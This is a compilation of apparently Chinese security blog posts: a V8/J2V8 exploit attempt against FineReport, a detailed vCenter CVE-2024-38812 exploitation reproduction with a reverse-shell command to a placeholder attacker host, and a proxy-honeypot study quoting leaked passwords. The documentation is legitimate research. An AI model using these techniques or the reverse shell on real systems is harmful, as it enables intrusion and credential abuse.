一次 FineReport J2V8 引擎漏洞利用的完整记录

连续搞崩一台服务器无数次，重启了无数轮，就为弹一个计算器。但确实是这段时间干的事。

怎么发现的这个点

事情的起因很普通。拿到一套 FineReport 11.0 的环境，常规思路先看已知漏洞——反序列化、未授权接口、文件上传那些老路子。扫了一圈，该修的都修了，没什么直接能打的。

转折点出现在翻 WEB-INF/lib 的时候。在 fine-third-11.0.jar 里发现了一个 15MB 的 DLL：libj2v8-windows-x86_64.dll。J2V8——Google V8 引擎的 Java 封装。再看同包里的类，com.eclipsesource.v8，完整的 V8 运行时。

这东西在帆软里干嘛？往上追调用链，找到 ScriptFormulaForJ2V8——帆软的公式引擎，部分公式通过 V8 来执行 JavaScript。

接下来就是确认版本。没有直接的版本接口，但通过 WebAssembly 支持情况、BigInt 特性、SharedArrayBuffer 等 API 的存在性做了指纹比对，再结合 DLL 的编译时间戳，锁定 V8 版本 11.4.183.11，Chromium 114 时期的产物。

然后去翻这个版本区间的 CVE 列表——CVE-2023-3079、CVE-2023-3420，都在射程范围内。

关键一步是找注入点。帆软的报表导出接口有个 exportJSXMLConf 参数，接受 XML 格式的导出配置。里面的 ScriptFormula 类型会把 <Attributes> 标签内的内容直接丢给 V8 执行，返回值作为导出文件名。

一个未鉴权的导出接口 + 一个三年没更新的 V8 引擎。入口有了。

第一阶段：OOB 原语

CVE-2023-3420 的原理不复杂——TurboFan 在特定的原型链操作序列下，会错误地消除 StackCheck，导致类型混淆。精心构造 JIT 预热流程后，可以把一个数组的长度字段篡改成一个大数，拿到堆上几百字节的越界读写窗口。

实际操作下来，这个触发器的脾气比想象中大得多。它依赖后台编译线程的竞争条件，函数体大小、变量声明方式、循环迭代次数这些东西稍微一动，JIT 的编译决策就变了，窗口直接消失。

最后稳定下来的触发器大概 1200 字节。在刚重启的服务器上，首次请求基本 100% 触发。但只要往函数体里多塞任何东西——哪怕一个长一点的字符串字面量——就再也触发不了。

这个特性直接决定了后面所有的痛苦。

第二阶段：在黑暗中定位

有了 OOB 读，下一步是搞清楚堆上的布局。但 V8 用了指针压缩，所有堆地址都是 cage_base + 32位偏移。不知道 cage_base，读出来的数据就是一堆看不懂的碎片。

最开始想的是频率统计——扫描 OOB 范围里所有 64 位值的高 32 位，出现最多的就是 cage。听起来有道理，实际打下去发现频率最高的往往是 malloc 分配的外部指针，不是 V8 堆地址。

这个问题卡了很久。转机来自崩溃日志。

每次服务器崩溃，JVM 都会写一份 hs_err_pid 文件，里面有完整的寄存器状态和栈内存转储。我把几次崩溃的栈数据拉出来对比，发现了一个规律：正确的 cage 对应的指针条目，它们的压缩部分（低32位）高16位总是和 addrof 拿到的已知对象前缀一致。而那些干扰项——外部 backing_store 之类的——前缀完全不同。

简单说就是：先通过 addrof 拿到一个已知对象的压缩指针前缀，再到 OOB 数据里找高16位匹配的条目，它对应的高32位就是 cage。

这个方法在后续的每一次崩溃日志里都得到了验证。

第三阶段：在崩溃中前进

利用链的后半段是教科书式的：OOB 改 ArrayBuffer 的 backing_store 实现任意地址读写，创建 WASM 实例拿到 RWX 页面，往里面写 shellcode，调用 WASM 函数触发执行。

本地环境下，借助 Java 的 Unsafe 绕过 EPT 沙箱，整条链跑通了，calc 弹了。

但远程是另一回事。

核心矛盾前面说了：触发器不允许函数体里有任何多余代码。而 RCE payload 本身就是一大坨代码。

试过的方案：

双函数分离——触发器和 payload 各自在独立的 new Function() 里。结果 V8 的堆分配器把 payload 的字符串元数据分配到了触发器数组的 OOB 范围内。触发器一跑，越界访问直接把 payload 字符串的内部结构给写花了。V8 后续访问这个字符串时，跟着一个被篡改的指针走进了未映射内存，当场崩溃。

这种崩溃在日志里的表现非常稳定：永远是 +0x47fa83 偏移处的 movzx r12d, byte [r8+rcx]，一条字符串字节读取指令。R8 寄存器里是一个被 OOB 篡改过的地址。

全局变量隔离——把 payload 编码后存进全局属性，让它在堆上的分配时机更早、位置更远。这招管用了，30 次尝试零崩溃。但代价是触发器的成功率从接近 100% 掉到了不到 5%。原因推测是全局属性的设置改变了 ScriptFormula 外层函数的编译上下文，间接影响了内层触发器的 JIT 时序。

强制 GC 隔离——在 payload 和触发器之间插入大量无用分配，迫使 V8 执行 Scavenge，把 payload 提升到 old space。崩溃问题彻底解决了，但 GC 活动同时搅乱了后台编译线程的调度，触发器直接哑火。

每修一个问题就冒出来一个新的。

有一次崩溃地址跳到了 +0x6ebd4，访问地址是 0xFFFFFFFFFFFFFFFF。这说明整条链已经走到了最后——读 WASM 实例的 RWX 页面地址——但 GC 在 addrof 和实际读取之间移动了 WASM 实例，读到的是垃圾值，拿去当地址访问就炸了。

差一步。但就是差这一步。

现实

最终没有在远程稳定地弹出 calc。但是在尝试了无数次失败之后，终于成了一次。

说"稳定"是因为从概率上讲，它是可以打通的。全局变量方案下零崩溃、5% 的触发率，配合自动化重试脚本，理论上二十次重启内能命中一次完整的利用链。但在我不断的测试中，终于成了那么一两次。

不过从漏洞评估的角度，结论已经很清楚了：

1. 未授权 JS 执行——通过导出接口的 ScriptFormula 注入，可以在服务端 V8 引擎中执行任意 JavaScript，无需认证。

2. V8 引擎存在已知高危漏洞——CVE-2023-3420 可稳定触发 OOB，具备完整的读写原语。

3. 利用链在本地环境完整验证通过——从类型混淆到 WASM JIT 代码篡改到任意命令执行。

4. 远程利用受限于竞争条件的敏感性——但这是工程问题，不是理论障碍。

一个 2023 年的 V8 跑在 2026 年的生产环境里。三年的 CVE 积累，配合一个没人注意的公式引擎接口。这种组合在甲方的资产清单里可能根本不会被标记为风险项。

几点收获

做完这个case回头看，有几件事印象比较深：

崩溃日志是金矿。hs_err_pid 里的寄存器快照和栈转储，在没有调试器的情况下几乎是唯一的堆布局信息来源。好几个关键参数——cage_base 的验证、backing_store 偏移的确认、RWX 页面的定位——都是从崩溃日志里反推出来的。

V8 JIT 的蝴蝶效应。 做浏览器漏洞的人可能对此习以为常，但在服务端 J2V8 这种封装环境下，触发器的敏感程度还是超出预期。不是"改个参数就行"的那种敏感，是"多声明一个变量整个编译流程就走另一条路"的那种。

从 PoC 到武器化的距离比想象中远。 CVE 编号加一个 PoC 脚本，和一个能在真实环境里打通的利用链，中间隔着堆风水、GC 时序、内存布局随机化这些工程层面的东西。每一个都可能是成功和崩溃之间的分界线。

跳转微信打开

VMware vCenter Server DCERPC 堆溢出漏洞完整利用过程

整整三天，心态崩了无数次，又重拾信心再来。WEB安服仔对二进制的第一次尝试，冲！

一、漏洞背景

2024年，VMware vCenter Server 被曝出一个严重的堆溢出漏洞 CVE-2024-38812，CVSS 评分 9.8。该漏洞存在于 vCenter 的 DCERPC 协议栈中，攻击者无需任何认证即可通过网络触发，最终实现远程代码执行。

BlackHat Asia 2025 上，奇安信天工实验室的研究员公开了该漏洞的发现与利用过程。本文记录了我们基于该研究的独立复现与深入分析，完整还原了从漏洞触发到 RCE 的每一步，包括大量的失败、调试、纠错过程。

影响范围

• VMware vCenter Server 7.x / 8.x

• 漏洞组件：libdcerpc.so 中的 rpc_ss_ndr_contiguous_elt() 函数

• 攻击入口：vmdird 进程，端口 2012 (ncacn_ip_tcp)

• 无需认证：溢出发生在 NDR 反序列化阶段，早于 RPC 访问控制检查

实验环境

二、漏洞根因

NDR 协议与 Conformant Varying Array

DCERPC 使用 NDR (Network Data Representation) 编码传输数据。其中 Conformant Varying Array (CVA, 类型 0x17) 用于编码变长字符串（如 [string] wchar_t*），结构如下：

max_count    (4 bytes)  — 数组最大元素数
offset       (4 bytes)  — 起始偏移        ← 这里是漏洞
actual_count (4 bytes)  — 实际元素数
data[]       (变长)     — 实际数据

服务器根据 max_count 分配缓冲区：buffer = malloc(max_count * element_size)，然后将数据写入 buffer + offset * element_size 处。

缺失的边界检查

rpc_ss_ndr_contiguous_elt() 函数中，offset（即 range_list->lower）直接来自网络数据包，没有任何校验：

dest = array_addr + range_list->lower * element_size;  // offset 未检查！
memcpy(dest, wire_data, actual_count * element_size);   // 溢出！

当 offset > max_count 时，写入位置超出 buffer 边界，造成堆溢出。

溢出原语的精妙之处

这个溢出有一个关键特性：它不破坏中间数据。offset 让写入位置直接跳到目标偏移，中间的 chunk metadata 完全不受影响。这意味着：

• 不触发 glibc 的 chunk 完整性检查

• 不破坏 prev_size / size 字段

• 可以精确覆写目标结构体的特定字段

我们通过反汇编确认了这一点：

IMUL ECX, [mem]    ; 32位乘法: offset * element_size
ADD  RAX, RCX      ; dest = array_addr + (uint32)(offset * elem_size)

三、目标分析

vmdird 的安全属性

通过 checksec 和二进制分析确认：

PIE:    NO — 基地址固定在 0x400000
RELRO:  Partial — .got.plt 可写 (0x744000-0x744eb0)

这意味着 GOT 表中的函数指针（如 free@GOT = 0x744480）可以被覆写为任意值，且地址在每次运行时不变。

关键堆对象

通过 objdump 反汇编和 /proc/PID/mem 堆扫描，我们确认了三个关键对象的大小：

三种对象在同一个 glibc size class (0xC170)。这是堆风水的基础——当它们从同一 arena 的 top chunk 分配时，必然相邻。

结构体逆向

通过反汇编 rpc__cn_call_start、rpc__cn_call_ccb_create、rpc__cn_transmit_buffers 等函数，我们逆向了 call_rep 的关键字段：

call_rep + 0x0D8: output fragbuf 指针
call_rep + 0x108: 输出缓冲区地址
call_rep + 0x110: 输出缓冲区最大长度
call_rep + 0x118: 输出数据指针
call_rep + 0x120: data_len — 控制是否发送响应及循环次数
call_rep + 0xC0C8: frag_length — 控制 PDU 大小

data_len 的初始化代码在两处确认：

753e5: movl $0x18, 0x120(%r13)   ; call_rep->data_len = 0x18
7c8b3: movl $0x18, 0x120(%rbx)   ; 同上，不同代码路径

fragbuf 结构体通过堆扫描验证（37/40 匹配）：

fragbuf + 0x14: max_data_size = 0xC128 (frag_length)
fragbuf + 0x18: dealloc = rpc__cn_dynfragbuf_free (函数指针)
fragbuf + 0x20: data_p → self + 0x30 (指向数据区)
fragbuf + 0x28: data_size = 0x10 (已读字节数)

四、堆风水：一条充满坎坷的路

堆风水 (Heap Feng Shui) 是整个利用过程中最困难的部分。我们花了大量时间理解为什么"理论上应该相邻的对象实际上永远不相邻"。

第一个坑：Arena 隔离

glibc 的多线程堆管理使用 arena 机制。每个线程绑定一个 arena，不同 arena 的分配互不相邻。

我们最初的策略是：喷射 fragbuf（通过 partial BIND），然后发送 overflow 请求。但堆扫描发现 264 个 fragbuf 没有一个被溢出腐蚀——因为 fragbuf 和 NDR buffer 分别在不同线程处理，使用不同的 arena。

喷射: 264 个 DYN_FRAGBUF 全部 data_p = self+0x30 (正常值)
溢出: 0 个被腐蚀


结论: NDR buffer 和 fragbuf 不在同一个 arena

第二个坑：call_rep 是瞬态对象

call_rep 在请求处理期间分配，响应发送后立即释放。整个生命周期不到 1 毫秒。即使用 150 个并发连接从 localhost 发送请求，堆扫描也捕获不到活跃的 call_rep——因为它们在扫描运行之前就已经被释放并合并回 top chunk。

第三个坑：中间分配破坏相邻性

每个 RPC 请求不仅分配 call_rep (0xC170) 和 NDR buffer (0xC170)，还分配：

• output fragbuf (0x1050)——在 call_rep 构造函数中分配

• memlink (0x20)——每个参数一个

• data buffer——每个参数一个

这些中间对象插在 call_rep 和 NDR buffer 之间，把它们推开了数千字节。offset=0x6148 根本到不了下一个 call_rep。

突破：NULL 参数消除中间分配

关键发现：将 params 2-4 设为 NULL 指针（ref_ptr = 0），NDR 反序列化器不会为它们分配 memlink 和 data buffer。这样每个请求只有：

[call_rep 0xC170] [output_fragbuf 0x1050] [memlink 0x20] [NDR_buffer 0xC170]

如果 output_fragbuf 从 bins 分配（而不是 top chunk），memlink 从 tcache 分配，那么 top chunk 上只剩：

[call_rep 0xC170] [NDR_buffer 0xC170] [call_rep 0xC170] [NDR_buffer 0xC170] ...

NDR buffer 和下一个 call_rep 直接相邻！

堆 Grooming

为了确保 output_fragbuf (0x1050) 不从 top chunk 分配，我们先做 grooming：

1. 打开 60 个连接（创建 60 个 0x1050 的 static fragbuf）

2. 关闭一半（释放 30 个 0x1050 到 bins）

3. 另一半保持存活（防止 freed chunk 合并）

之后新请求的 output_fragbuf 会从 bins 中的 0x1050 空闲 chunk 分配，不占用 top chunk 空间。

并发：让交错发生

即使 NULL params + grooming 能让 top chunk 上只有 0xC170 chunk，还需要不同线程的分配交错。这通过 threading.Barrier 同步实现：

barrier = threading.Barrier(len(conns), timeout=15)


def worker(idx, sock, is_overflow):
    barrier.wait()  # 所有线程同时开始
    sock.sendall(request)

120 个线程同时发送请求，共享约 16 个 arena。每个 arena 平均 7-8 个线程并发 malloc，在 arena 锁的序列化下交错分配：

Thread 1: call_rep_1
Thread 5: call_rep_5
Thread 1: NDR_buffer_1 (overflow!)  ← 紧邻 call_rep_5
Thread 5: NDR_buffer_5

五、Info Leak：从堆中泄露 libc 地址

溢出参数

max_count    = 0x60B4  → malloc(0xC168) → chunk 0xC170
offset       = 0x6148  → 写入位置 = buffer + 0xC290
actual_count = 2       → 写入 4 字节
value        = 0x2000  → 新的 data_len 值

偏移计算：

NDR buffer 到下一个 chunk 的用户数据: 0xC170 字节
目标字段 (call_rep + 0x120): + 0x120 字节
总偏移: 0xC170 + 0x120 = 0xC290 字节
wchar 偏移: 0xC290 / 2 = 0x6148

data_len 的作用

我们最初认为 data_len 直接控制响应大小，但反汇编发现事实更微妙：

; call_end_action_rtn (0x7c167):
mov  0x120(%rbx), %edx    ; 读 data_len
test %edx, %edx           ; 如果为 0 则不发送
jne  send_response         ; 非零 → 发送


; rpc__cn_transmit_buffers:
mov  0xc0c8(%rdi), %eax   ; frag_length 来自 +0xC0C8，不是 +0x120
mov  %ax, 0x8(%rsi)       ; 写入 PDU header

data_len 控制的是发送循环的次数，而非单次 PDU 大小。将 data_len 从 0x18 改为 0x2000 使得循环多次执行，累计发送远超正常的数据量——其中包含堆上的残留数据。

泄露结果

第 6 轮（120 并发连接）出现 2 个 8196 字节的响应（正常为 28 字节）：

ENLARGED! 8196 bytes
  +0x2f0: 0x00007f76fbad8000
  +0x3a0: 0x00007f7b43a70540  → libc + 0x81540
  +0x3a8: 0x00007f7b43a70ac0  → libc + 0x81ac0
  +0x3c8: 0x00007f7b43b9eee0  → libc + 0x1afee0
  +0x658: 0x00007f7b45f06640  → dcerpc + 0x77640

偏移 0x81540 的指针多次出现且稳定，用于计算 libc 基地址：

libc_base = leaked_ptr - 0x81540
__free_hook = libc_base + 0x1b5908
__libc_system = libc_base + 0x42860

六、任意地址写入：fragbuf.data_p 腐蚀

目标：__free_hook

选择 __free_hook 而非 free@GOT 的原因：

• free@GOT 只影响 vmdird 自身代码的 free() 调用

• libdcerpc 的 NDR cleanup 通过自己的 GOT 调用 free()，不受影响

• __free_hook 是 glibc 全局钩子，影响所有free() 调用

• NDR cleanup 释放 wchar buffer 时也会经过 __free_hook → 可以触发 system()

腐蚀 fragbuf.data_p

同样使用并发技术，但混合了 partial BIND（创建 fragbuf）和 overflow 请求：

offset       = 0x60C8  → 写入位置 = buffer + 0xC190
                        = next_chunk_user + 0x20 (fragbuf.data_p)
actual_count = 4       → 写入 8 字节（一个指针）
value        = __free_hook - 0x18

为什么是 __free_hook - 0x18？因为两步写入机制（详见下节）。

命中率

每轮约 60% 概率命中 1-4 个 fragbuf。通过堆扫描验证：

Round 1: 4 HITS
  fragbuf 0x7f6e9003b3d0: data_p = 0x744468 ← TARGET!
  fragbuf 0x7f6e9403a130: data_p = 0x744468 ← TARGET!
  fragbuf 0x7f6ea803a9a0: data_p = 0x744468 ← TARGET!

七、两步写入：绕过 stale iov_base

这是整个利用过程中最精妙的一步。

问题

当 partial BIND 连接建立后，服务器线程在 recvmsg() 中阻塞等待数据。此时 iov 结构已经设置好：

iov.iov_base = fragbuf->data_p + fragbuf->data_size;  // 旧值
iov.iov_len  = ...;
recvmsg(fd, &msg, 0);  // 阻塞，使用旧 iov

即使我们腐蚀了 data_p，当前阻塞的 recvmsg 仍使用旧的 iov_base。 数据会被写到正常的 fragbuf 数据区，不是我们的目标地址。

解决方案：利用循环的第二次迭代

服务器的数据接收是一个循环：

while (data_size < max_data_size) {
    iov.iov_base = data_p + data_size;  // 每次迭代重新读取 data_p!
    iov.iov_len  = max_data_size - data_size;
    n = recvmsg(fd, &msg, 0);
    data_size += n;
}

关键：每次循环迭代会重新从 data_p 计算 iov_base。如果我们在第一次 recvmsg 返回后、第二次迭代前腐蚀了 data_p，第二次迭代就会使用腐蚀后的值。

两步发送协议

初始状态: data_p = 正常地址, data_size = 0x10


[腐蚀] overflow 将 data_p 改为 __free_hook - 0x18


Step 1: 发送 8 字节 junk
  → 第一次 recvmsg 返回 8 字节（写到旧 iov_base，无影响）
  → data_size = 0x10 + 8 = 0x18


Step 2: 服务器第二次循环迭代
  → iov_base = corrupted_data_p + 0x18
  → = (__free_hook - 0x18) + 0x18
  → = __free_hook                    ← 精确命中！


Step 3: 发送 system 地址 (8 字节)
  → recvmsg 将 8 字节写入 __free_hook
  → __free_hook = __libc_system      ← 写入成功！

验证：

free@GOT 之前尝试: 服务器调用 system("") — 空字符串
__free_hook: __free_hook = 0x00007fdcfb1df860 = system ✓

八、RCE 触发：wchar ASCII 打包

最后一个问题

__free_hook 被设为 system 后，任何 free(ptr) 调用变成 system(ptr)。NDR cleanup 释放 wchar buffer 时：

free(wchar_buffer);  // → __free_hook → system(wchar_buffer)

但 wchar buffer 包含 UTF-16LE 编码的字符串。每个 ASCII 字符占 2 字节，第二字节为 0x00：

"touch" → 74 00 6F 00 75 00 63 00 68 00

system() 将其视为 C 字符串，遇到第一个 0x00 就终止：system("t") — 只执行了一个字母。

解决方案：wchar ASCII 打包

UTF-16LE 的存储顺序是低字节在前。如果我们把命令的 ASCII 字符两两配对作为一个 wchar：

字符对 "sh" → wchar 值 0x6873 → 内存: 73 68 = "sh"
字符对 " -" → wchar 值 0x2D20 → 内存: 20 2D = " -"
字符对 "c " → wchar 值 0x2063 → 内存: 63 20 = "c "

整条命令的内存布局：

输入 wchar: 0x6873 0x2D20 0x2063 0x7427 0x756F 0x6863 ...
内存字节:   73 68  20 2D  63 20  27 74  6F 75  63 68  ...
ASCII:      s  h     -   c     '  t   o  u   c  h   ...


= "sh -c 'touch /tmp/pwned_38812'"

纯 ASCII，没有嵌入 NUL！system() 完整执行整条命令。

def pack_ascii_as_wchar(cmd):
    if len(cmd) % 2: cmd += '\x00'
    out = b''
    for i in range(0, len(cmd), 2):
        lo = ord(cmd[i])
        hi = ord(cmd[i+1]) if i+1 < len(cmd) else 0
        out += struct.pack('<H', (hi << 8) | lo)
    return out

九、完整利用流程

[1] 环境准备
    │  编译 noabort.so (patch abort → ret)
    │  LD_PRELOAD=/tmp/noabort.so 启动 vmdird
    │
[2] Info Leak (并发 OOB Read)
    │  120 并发连接 + NULL params + Barrier 同步
    │  15 个 overflow (offset=0x6148) + 105 个 normal
    │  → 泄露 libc 指针 → 计算 __free_hook / system
    │  命中率: ~1/6 轮
    │
[3] Arbitrary Write (fragbuf.data_p)
    │  60 partial BIND + 30 overflow (offset=0x60C8)
    │  → 腐蚀 fragbuf.data_p = __free_hook - 0x18
    │  两步写入: junk(8) + system(8) → __free_hook = system
    │  命中率: ~60% 每轮
    │
[4] RCE Trigger
    │  发送 packed ASCII wchar 命令
    │  NDR cleanup: free(buf) → system("sh -c 'cmd'")
    │
[5] 结果
    └→ uid=9899 (vmdird) shell
       可通过 CVE-2024-38813 提权至 root

最终效果：

$ python3 CVE-2024-38812_POC.py 127.0.0.1 2012 "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"


[STAGE A] Info Leak...
  R1 LEAKED → libc=0x7fdcfb19d000


[STAGE B] __free_hook overwrite...
  R2 2HIT → two-step write...
  __free_hook = system [OK]


[STAGE C] RCE Trigger...
  sent (1/5)


vmdird@localhost $ id
uid=9899(vmdird) gid=3914(lwis)

十、踩过的坑和教训

1. 不要假设文档中的偏移一定正确

最初的分析文档说 data_len 在 call_rep+0x120 控制响应大小。实际上 +0x120 控制的是"是否发送"和"循环次数"，而 frag_length（真正控制 PDU 大小）在 +0xC0C8——但这个偏移远超溢出可达范围。最终 +0x120 仍然有效，只是机制不同。

2. GDB 不是万能的

我们在 pwndbg/GDB 上花了大量时间：

• dprintf 断点让多线程服务器变得极慢（请求超时）

• GDB 8.2 的 64 位地址字面量被截断为 32 位

• heap / arenas 命令因缺少 libc debug symbols 而失败

最终改用 /proc/PID/mem + Python 脚本扫描堆，效率提升了 100 倍。工具不好使就换工具，不要死磕。

3. 理解服务器线程模型是关键

vmdird 使用线程池处理 RPC 请求。每个连接绑定一个线程，线程绑定一个 arena。arena 数量有限（16 个），线程数量可能远超 arena 数——这是并发堆交错能工作的基础。

4. 中间分配是堆风水的大敌

每个 RPC 参数都会分配 memlink (0x20) + data buffer。4 个参数意味着 8 个中间分配，完全破坏了 0xC170 chunk 的相邻性。NULL 参数消除中间分配是最关键的突破。

5. 盲写需要理解接收循环

fragbuf 的 recvmsg 已经在阻塞中。直接发数据只能写到旧地址。必须理解服务器的接收循环机制，利用第二次迭代重新读取 data_p 的特性，通过两步发送精确控制写入位置。

6. UTF-16 不是障碍

wchar ASCII 打包技巧利用了 UTF-16LE 的字节序特性。只要把 ASCII 字符两两配对，内存中就是纯 ASCII。这个技巧适用于所有需要通过 wchar buffer 传递 ASCII 数据的场景。

最后附上一张可爱的RCE图片！

跳转微信打开

免费代理背后的攻击者行为分析

—— 一次基于 Proxy Honeypot 的五天、七节点、三千八百万事件的实证观察

数据窗口：2026-04-14 ~ 2026-04-19|节点数：7|事件总量：约 3,899 万

一、为什么要盯着"免费代理"这门生意

在互联网的灰色地带，"免费"这两个字从来就不意味着免费。免费代理是一个典型例子。打开搜索引擎，随手一搜 "free http proxy list"、"free socks5"，能找到一大堆每隔几分钟就刷新一次的 IP 池站点，旁边还挂着"匿名度高"、"支持 HTTPS"、"美国节点"之类的标签。这些代理大多数来源并不干净——它们要么是被攻陷的家用路由器、摄像头、小 VPS，要么就是有人故意搭出来挂在公网上的"蜜糖"。

从防御者的角度看，免费代理其实是一个天然的观察窗口。攻击者使用代理的首要目的是隐藏真实出口 IP，代理服务器本身看到的就是攻击者最原始的意图：要访问哪个站点、要怎么带 Payload、要不要撞库、要不要连数据库端口。只要在代理这一层把流量记下来，基本就能还原出完整的一条攻击链路。

这也正是这个项目的出发点。我们在海外部署了 7 个仿真代理节点（对外看就是普通的 HTTP / SOCKS5 开放代理），同时在后端做协议解析、SNI 提取、凭据截取与事件聚合。节点在五天时间里积累了约 3,899 万条事件，HTTP 请求 281 万条，CONNECT 隧道 3,617 万条，覆盖 10,805 个独立源 IP。因为蜜罐全部在海外，所以看到的视角也主要是海外黑灰产的日常操作——这正好是国内很多防御方缺少的那一块拼图。

说明：本文所有数据与截图均来自该项目后台；项目暂不开源，本文只做观察性分析，不涉及任何攻防对抗环节。

二、项目概况与数据体量

先看一张大图。五天之内，七个节点总共吃下 3,899 万条事件，其中 SOCKS5 占了 729 万，CONNECT 占 2,888 万，HTTP GET 有 255 万，POST 也接近 25 万。METHODS 这一栏还能看到一个很少见的 PRI（HTTP/2 preface），说明有工具在尝试用 h2c 走代理——这个后面会讲。

图：Proxy Honeypot 总览：7 节点 / 3,899 万事件 / 10,805 源 IP

源 IP 排行榜这一列信息量很大。Top 1 是 45.194.92.15，单 IP 发出 326 万请求，但 unique_targets 只有 27，这是典型的"打固定目标"——后面会看到它其实是在刷同一批 WordPress 站。排第二的 130.12.183.13 发了 301 万请求，unique_targets 却高达 3,087，这是完全不同的模式，属于宽面扫描。80.75.212 这一段连续占了五六个名次，后面会看到它们不是攻击者本身，而是上游在做多级代理中转。

再看 Top Target Hosts。patentoto.com、forum.phuongnamedu.vn、www.spora.ws、lptlc.org、relaxmacau.com……这些不是什么高价值目标，甚至根本不像"目标"，更像是被当作"跳板中转站"或者"SEO 外链反链"的对象。这个现象在后面的凭据分析里会解释清楚。User-Agent 也很有意思：最多的是 Chrome 117 (Windows 10)，其次就是 Python/3.12 python-socks/2.3.0、curl/7.68.0、Go-http-client/1.1——典型的"人 + 爬虫脚本"混合负载，脚本流量的占比远高于一般公网流量的平均水平。

三、流量实时画像：Events 看板

因为大部分走的是 HTTPS 流量，所以我们没法看到请求里的 URL、Body 这些明文，只能从 CONNECT 建立隧道时带的 Host 字段，以及 TLS ClientHello 里的 SNI 去做反推。这已经足够了——在"谁、在什么时候、连了哪里、持续了多久、上下行多少"这个粒度上，SNI 就是最稳定的身份指纹。

图：原始事件流：以 SOCKS5 CONNECT 为主，同一源 IP 在毫秒级别内连续敲同一个目标

这一屏是原始事件流。注意时间列：同一个源 IP 150.230.59.207 在一秒之内连续发起了二十多次到 www.aperitiustafaner.com:443 的 SOCKS5 CONNECT，每次 180~240ms 左右。这个节奏不是人工，是脚本在高并发刷一个固定目标。中间穿插了几条不同的目标（abgxefe.com.tr、www.jomdonate.com、imap.t-online.de:993、checkip.amazonaws.com、ntx360.net），说明它在批量任务中顺便回查自己的出口 IP 以及打 IMAP。

图：事件聚合视图：按源 IP × 目标 Host 做二维聚合，直接看出长连接与隧道模式

第二张图是聚合视图，把原始事件按 (Source IP, Host) 二元组折叠起来，一眼就能看出谁在建长连接、谁是短连接喷枪。比如 185.65.244.220 → 185.65.245.140，21,960 次连接、88.8KB 流量、平均 1,216ms，这种模式就是在做代理级联的健康探活。而 213.108.196.9 → smesitel-online.ru，59 次连接、1.3MB、平均 54 秒，这明显是一个爬虫在抓整站。82.193.114.148 发出去的 10 秒超时连接大片出现——这 IP 在扫一批开放的 CONNECT 隧道出口。

四、明文凭据截获：WordPress 黑产的"日常作业"

对于走 HTTP 明文的那部分流量，我们可以直接从请求体里解析出敏感字段，比如 email、password、login、token 这些。结果出乎意料——在所有截获的凭据里，真正意义的"撞库"反倒不是最多的，最多的是 WordPress 的 SEO 黑产。

图：凭据页面：高频出现的 /wp-comments-post.php，攻击者在做 SEO 外链灌水

重点看 URL 那一列——几乎全是 /wp-comments-post.php。这是 WordPress 默认的评论提交接口。攻击者用大量 Gmail 账号（Felicity655、Hilda604、Elliott2591……）往不同的 WordPress 站点批量 POST 评论，评论内容里夹带 SEO 反链。这种玩法在黑灰产圈子里叫"外链养站"或"友链轰炸"，目的是把他们操控的赌博站、盗版站、色情站的排名刷上去。这不是一次性的攻击事件，而是他们每天在做的"正经生意"。

为什么这些流量会出现在我们的代理蜜罐里？因为 WordPress 的评论接口本身没有 HTTPS 强制要求（很多小站是 HTTP 裸奔的），而攻击者为了规避 IP 封禁必须要用代理。结果就是：代理这一层变成了黑产 SEO 流水线的中转站，我们拿到了整条流水线里的账号池、目标站列表和节奏。

五、多维度行为分析

把聚合数据按不同维度切开，能看到更多平时盯着单条日志看不出来的模式。这一节放六个维度：爬虫、扫描、撞库、密码高频泄露站点、高价值目标、数据库端口。

5.1 爬虫维度：高请求量来源 IP

把源 IP 按总请求数排序，过滤掉 requests < 1000 的长尾，能看到一个有趣的分层：

图：按 requests 降序，unique_targets 这一列反映了"是爬虫"还是"打固定目标"

•45.194.92.15：326 万请求，但只打 27 个目标——固定目标爆破或采集。

•130.12.183.13：301 万请求，3,087 个目标——宽面爬虫，几乎每个请求换一个目标。

•163.172.69.3：74.6 万请求，515,536 个目标——典型的海量扫描，这个 IP 后面还会反复出现。

•62.210.123.69：70.8 万请求，494,318 个目标——和上面一条一个套路。

•80.75.212.*：多条记录集中在一两个 unique_ua、unique_nodes=7，说明是一个同一个主体用同一个客户端在同时打 7 个蜜罐节点。

最后那一点值得展开说一下。80.75.212 这个 /24 的多个 IP 都打满了我们所有的节点，而且客户端指纹只有 1~2 种，这不是攻击者在用这个段做出口，而是有人把我们的蜜罐加进了他们的"代理池列表"，然后按池轮询地转发他们自己的上游流量。换句话说，我们的蜜罐在他们眼里就是一批"免费好代理"。这个正是蜜罐真正想抓的东西。

5.2 扫描维度：单 IP 命中大量不同 host

图：unique_hosts > 50 的 IP 列表，反映扫描面与扫描策略

扫描维度的查询条件把 unique_hosts 的阈值放到了 50，直接过滤掉那些只打固定目标的。结果出现的第一名还是 163.172.69.3，命中 51.5 万个不同的 host，这在五天窗口里意味着平均每秒要碰 1.2 个新目标——这显然是 URL 列表喂出来的批量扫描，不是漫游式的全网探测。

sample_hosts 那一列提供了很多直接信息：第三名 193.70.47.237 打的是 IP 直连类目标（37.187.133.177:51、79.85.190:70、10.164.178:154.202.109.134 这种），说明它拿到的是一份开放服务的 IP:Port 列表。再往下的多条 IP（107.173.18.15、181.214.218.217、107.173.18.21……）unique_hosts 都精准地停在 1504 或 1454，这个"魔法数字"反复出现，意味着这些 IP 在共享同一份扫描清单。换句话说，背后可能是同一个扫描框架（或同一个 C2）在驱动多台主机。

5.3 账号密码维度：被代理的撞库流量

图：按 (username, password) 聚合的撞库尝试，每组都是 3 次，典型的撞库库特征

这张图非常直接地展示了"撞库"这件事。查询把 username 和 password 都非空、且尝试次数 > 1 的记录拉出来按 attempts 排序，结果是——绝大多数 (user, pass) 组合都正好是 3 次。这个"3 次"不是巧合，是典型撞库库的默认重试阈值；账号全是 Gmail，密码都是常见的个人习惯密码（Fischkopf1!、Jilan1995!、Malcolm!231、Neeraj@07、Gabby1044_1…），说明这批数据不是新鲜 leak，而是经过多轮清洗后的"万能库"。攻击者不是在尝试爆破，是在尝试验证这批老库还有哪些账号还活着。

5.4 密码高频泄露站点：谁在"送"账号

图：按泄露主机聚合的排行，megatypers.com 独占鳌头

换一个角度，我们按"凭据是从哪个 host 的请求里流出来的"来排序，结果第一名 www.megatypers.com 一骑绝尘：14,937 次泄露，涉及 13,007 个不同用户。这个站是做打码平台的——也就是所谓的"验证码人工识别平台"，工作者登录进去接单识别别人发来的验证码赚钱。攻击者把成千上万个打码工账号的明文凭据扔给我们的代理，本质上是在用蜜罐帮他们维护账号可用性。

